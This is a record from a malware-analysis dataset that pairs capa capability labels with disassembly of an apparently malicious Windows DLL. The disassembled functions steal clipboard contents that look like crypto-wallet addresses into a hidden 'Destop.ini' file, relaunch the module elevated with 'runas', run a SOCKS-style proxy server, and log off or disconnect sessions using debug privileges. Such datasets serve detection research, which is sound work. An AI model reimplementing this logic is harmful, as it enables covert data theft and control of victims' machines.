joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10024f10
Capabilities:
Get graphical window text
Open clipboard
Read clipboard data
Set file attributes

Disassembly:
sub esp, 0x168
push ebx
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], 0
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100250b3
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
je 0x100250ad
push ebp
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebp, dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, eax
test esi, esi
je 0x10025099
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
cmp edi, 0x40
jne 0x10024fb0
push ecx
push esi
call fcn.10024e40
add esp, 8
test eax, eax
je 0x10024fb0
push edi
push esi
call fcn.10024ec0
add esp, 8
test eax, eax
jne 0x10024fee
cmp byte [esi], 0x54
jne 0x10024fdb
cmp edi, 0x1e
jbe 0x10024fdb
cmp edi, 0x2d
jae 0x10024fdb
push edi
push esi
call fcn.10024e80
add esp, 8
test eax, eax
je 0x10024fdb
push edi
push esi
call fcn.10024ec0
add esp, 8
test eax, eax
jne 0x10024fee
cmp edi, 0x41
jbe 0x10025099
cmp byte [esi + 0x41], 0x54
jne 0x10025099
push 0
call dword [sym.imp.MSVCRT.dll_time]
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], eax
push ecx
call dword [sym.imp.MSVCRT.dll_localtime]
push eax
push str._Y__m__d__H:_M:_S
lea edx, [esp + 0x24]
push 0x64
push edx
call dword [sym.imp.MSVCRT.dll_strftime]
push 0x101000a0
push str.C:UsersPublicDownloadsDestop.ini
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x20
test edi, edi
je 0x10025099
lea eax, [esp + 0x78]
push esi
lea ecx, [esp + 0x18]
push eax
push ecx
push str._s____s:__s_n
push edi
call dword [sym.imp.MSVCRT.dll_fprintf]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x18
push 6
push str.C:UsersPublicDownloadsDestop.ini
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call ebp
call fcn.10024d00
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100250a0
call dword [sym.imp.USER32.dll_EmptyClipboard]
call ebp
call ebp
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x168
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call ebp
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x168
ret
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
add esp, 0x168
ret
Function at 0x10025110
Capabilities:
Create process on windows
Create thread
Terminate process

Disassembly:
sub esp, 0x140
push esi
push edi
call fcn.10023e20
test eax, eax
je 0x10025280
cmp dword [esp + 0x150], 1
jne 0x10025183
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100242f0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10025153
push eax
call edi
push 0
push 0
push 0
push 0x10024500
push 0
push 0
call esi
test eax, eax
je 0x1002516b
push eax
call edi
push 0
push 0
push 0
push 0x100250c0
push 0
push 0
call esi
test eax, eax
je 0x10025183
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.192.168.1.101
push 0x10131720
call esi
push 0x10123dc4
push 0x101315f4
call esi
push 0x10123ef8
push 0x101315b8
call esi
push 0x10123f2a
push 0x10131598
call esi
push 0x10123f4a
push 0x1013186c
call esi
push 0x10123fae
push 0x10131518
call esi
push 0x1012402e
push 0x10131418
call esi
push 0x1012412e
push 0x101318d8
call esi
push 0x10124240
push 0x101313a8
call esi
push 0x101242a4
push 0x10131374
call esi
push 0x101242e0
push 0x1013116c
call esi
mov eax, dword [0x10123ef0]
mov ecx, dword [0x10123ef4]
mov edx, dword [0x10124230]
mov dword [0x101315f0], eax
mov eax, dword [0x10124234]
mov dword [0x101315ec], ecx
mov ecx, dword [0x10124238]
mov dword [0x101318d0], edx
mov edx, dword [0x1012423c]
mov dword [0x10131414], eax
mov ax, word [0x101242d6]
mov dword [0x10131410], ecx
mov cx, word [0x101242d8]
mov dword [0x1013140c], edx
mov word [0x10131372], ax
mov word [0x10131370], cx
call fcn.10020f00
pop edi
mov eax, 1
pop esi
add esp, 0x140
ret 0xc
lea edx, [esp + 0x44]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10025270
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
lea eax, [esp + 0x44]
push ecx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x18], str.runas
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x28], 1
call esi
test eax, eax
jne 0x100252e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002529c
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
call fcn.10025300
jmp 0x10025320
push 0x10025330
call fcn.10030f06
pop ecx
ret
Function at 0x10026b90
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x10132b80
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x10132e9c]
push 0x10132b80
inc ecx
mov dword [0x10132e9c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10026a60
add esp, 8
cmp eax, esi
je 0x10026d2f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x10026c76
cmp eax, 2
je 0x10026c76
cmp eax, 3
je 0x10026c76
cmp eax, 4
jne 0x10026cef
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.100269d0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.10027220
add esp, 0x1c
test eax, eax
je 0x10026d2f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10026cef
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10026b00
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x10026d2f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.100269d0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.10027220
add esp, 0x1c
test eax, eax
je 0x10026d2f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10026d2f
cmp dword [ebx], 0
je 0x10026d2f
mov eax, dword [ebx + 4]
test eax, eax
je 0x10026d2f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x10027cb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10026d1f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x10026d40
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10026d70
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x10026d8a
cmp al, 2
je 0x10026d8a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x10132b9c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10026dcd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x10026f23
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10026f17
test eax, eax
je 0x10026f17
cmp byte [ebp], 1
je 0x10026e2d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10026e56
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10026e56
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10026e85
cmp ecx, 0x100
jg 0x10026e85
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x10132b9c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10026eb2
test cl, cl
je 0x10026eae
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10026eb2
add eax, 2
add esi, 2
test cl, cl
jne 0x10026e8e
xor eax, eax
jmp 0x10026eb7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10026ef9
lea esi, [esp + 0x110]
mov eax, 0x10132c9c
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10026eeb
test cl, cl
je 0x10026ee7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10026eeb
add eax, 2
add esi, 2
test cl, cl
jne 0x10026ec7
xor eax, eax
jmp 0x10026ef0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10026ef9
mov byte [ebp + 1], al
jmp 0x10026efd
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10026f23
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10026f40
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x10130544
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x10026ff4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x10026ffc
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x10026fea
test edx, edx
jle 0x10026fb4
mov edi, 0x100ff604
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10026f86
add dword [esp + 0x10], 4
jmp 0x10026f6a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10027010
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10027020
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10027220
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10027277
call fcn.10027010
add esp, 4
test eax, eax
je 0x100272d2
push esi
call fcn.10027010
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100272d2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100272da
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x100272f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10026d40
add esp, 0xc
test eax, eax
je 0x10027397
cmp eax, 4
jne 0x10027338
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.10027030
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x2000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10027397
test eax, eax
je 0x10027397
cmp byte [esi], 5
jne 0x10027397
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10027364
cmp cl, 3
jne 0x10027397
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.10027030
add esp, 0x14
test eax, eax
je 0x10027397
mov al, byte [esi + 1]
cmp al, 1
je 0x1002738e
cmp al, 3
jne 0x10027397
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x100273a0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100273ee
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1002740b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10026f40
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10027760
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1002784f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x1002784f
mov dx, word [0x10132b98]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1002784f
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x100277fc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10027808
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10027460
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10027846
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10027808
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10027808
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10027a00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x10027a3b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10027a42
sub esi, eax
add edi, eax
test esi, esi
jg 0x10027a16
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x100286e0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001d8c0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x10028718
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
add esi, 4
cmp esi, edi
jb 0x10028703
pop ebx
mov ecx, ebp
call fcn.10028e40
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
pop edi
pop esi
pop ebp
ret 8

Function at 0x10028740
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
push esi
push edi
push 1
mov ebp, ecx
push str.SeDebugPrivilege
call fcn.1001d8c0
mov edi, dword [esp + 0x1c]
add esp, 8
xor esi, esi
test edi, edi
jbe 0x10028778
push ebx
mov ebx, dword [esp + 0x14]
mov eax, dword [esi + ebx]
push 0
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
add esi, 4
cmp esi, edi
jb 0x10028763
pop ebx
mov ecx, ebp
call fcn.10028e40
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
pop edi
pop esi
pop ebp
ret 8
Function at 0x100287a0
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x100287d0
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x100287e0
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10028816
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret

Function at 0x10028890
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10028919
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x100288f2
dec eax
je 0x100288de
dec eax
jne 0x10028906
push ecx
mov esi, 0x10125218
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x10125214
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4
Function at 0x10028f00
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.10030e10
add eax, 1
adc edx, 0
push edx
push eax
push 0x10125270
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x10029030
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x1002917d
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x1002917d
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x1002917d
mov ebx, dword [esp + 0x328]
jmp 0x100290e6
xor esi, esi
cmp ebp, esi
je 0x1002917d
mov eax, dword [ebp]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x10125274
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x10029150
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x10029165
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x10029159
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x100290e4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret